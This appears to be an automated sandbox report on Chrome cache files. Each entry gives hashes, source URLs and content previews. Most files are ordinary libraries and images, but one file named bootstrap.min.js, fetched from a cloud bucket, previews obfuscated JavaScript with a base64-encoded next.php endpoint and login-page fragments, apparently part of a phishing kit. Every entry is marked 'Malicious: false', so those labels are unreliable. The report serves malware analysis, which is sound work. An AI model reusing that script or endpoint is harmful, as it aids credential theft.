Encrypted:	false
SSDEEP:	6144:LTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:yay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	2C1EEE3794F01EB2649D9CB190809F18
SHA1:	799B913EF50DEF4DB2A6FC28D321CD5650D6544B
SHA-256:	71B9F24263AA049FE440918BC4D96E120CB5C73DE603EEAD50C7D65F17032BB1
SHA-512:	21EA4DF1F2E2CA3839E0E920BCB029B3C5E06082684B8C74A4D7D4C2BB91F1BD7F11FF769D76F86FD380D1B05A2AA4802ECCA3861F0377B3EC1C1FE513A7D6E4
Malicious:	false
URL:	https://2043758164-1323985617.cos.sa-saopaulo.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cHM6Ly8yMDQzNzU4MTY0LmNsb3VkaG9zdGJ1aWxkZXIuY29tL25leHQucGhw";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.bor

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 79 x 38, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPl6Zt/1IV/xl/k4E08up:6v/lhPqKl7Tp
MD5:	1805D995B50A2F2C26201E8290CBF705
SHA1:	76B7B793A5353A24E46372B8C8E899F1829ED148
SHA-256:	7CF7D05023F0700848C65665F70BD76BA87BDA35838B2FA6CF4FFFAE8F91F21B
SHA-512:	633345136FC250B0A6733FBC47F2E37585ED90C6505D7B0BAE97C79B46F531F1CB73A69E7280C506348519DE2EC897A857E5AA5C879EF8DAD509B18BF73EA908
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901efb0f7f1b5e5f/1736871914687/uYZGlLVFPQ1W7R0
Preview:	.PNG........IHDR...O...&.......QC....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 79 x 38, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPl6Zt/1IV/xl/k4E08up:6v/lhPqKl7Tp
MD5:	1805D995B50A2F2C26201E8290CBF705
SHA1:	76B7B793A5353A24E46372B8C8E899F1829ED148
SHA-256:	7CF7D05023F0700848C65665F70BD76BA87BDA35838B2FA6CF4FFFAE8F91F21B
SHA-512:	633345136FC250B0A6733FBC47F2E37585ED90C6505D7B0BAE97C79B46F531F1CB73A69E7280C506348519DE2EC897A857E5AA5C879EF8DAD509B18BF73EA908
Malicious:	false
Preview:	.PNG........IHDR...O...&.......QC....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 4 x 27, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlJktnl52rl6yxl/k4E08up:6v/lhPwtlor17Tp
MD5:	1371D6669EA9BA637ACF99FE015F7B31
SHA1:	DA9559F03D2D8FC6062C72F82CF4D910C571F5ED
SHA-256:	21A9C389A8046270AA4C6E086855AF40DA9DA5C48B36E2F77E073D7D280AD3AB
SHA-512:	9C2AF8504FBFDD9ABD910C2AD85CCA607AC7ECD2188BFF2E49C5828BA66F80F76E6DEC48F9F616B8783224283129EDAB8E9DA117FCDF9CE911A6B16729C59C35
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901ef7f939e87c7b/1736871788142/WDV5ROEEdAhPiNm
Preview:	.PNG........IHDR................g....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454), with CRLF line terminators
Category:	dropped
Size (bytes):	553316
Entropy (8bit):	4.912195806174864
Encrypted:	false
SSDEEP:	6144:LTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:yay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	2C1EEE3794F01EB2649D9CB190809F18
SHA1:	799B913EF50DEF4DB2A6FC28D321CD5650D6544B
SHA-256:	71B9F24263AA049FE440918BC4D96E120CB5C73DE603EEAD50C7D65F17032BB1
SHA-512:	21EA4DF1F2E2CA3839E0E920BCB029B3C5E06082684B8C74A4D7D4C2BB91F1BD7F11FF769D76F86FD380D1B05A2AA4802ECCA3861F0377B3EC1C1FE513A7D6E4
Malicious:	false
Preview:	var file = "aHR0cHM6Ly8yMDQzNzU4MTY0LmNsb3VkaG9zdGJ1aWxkZXIuY29tL25leHQucGhw";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.bor

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 209

Download File

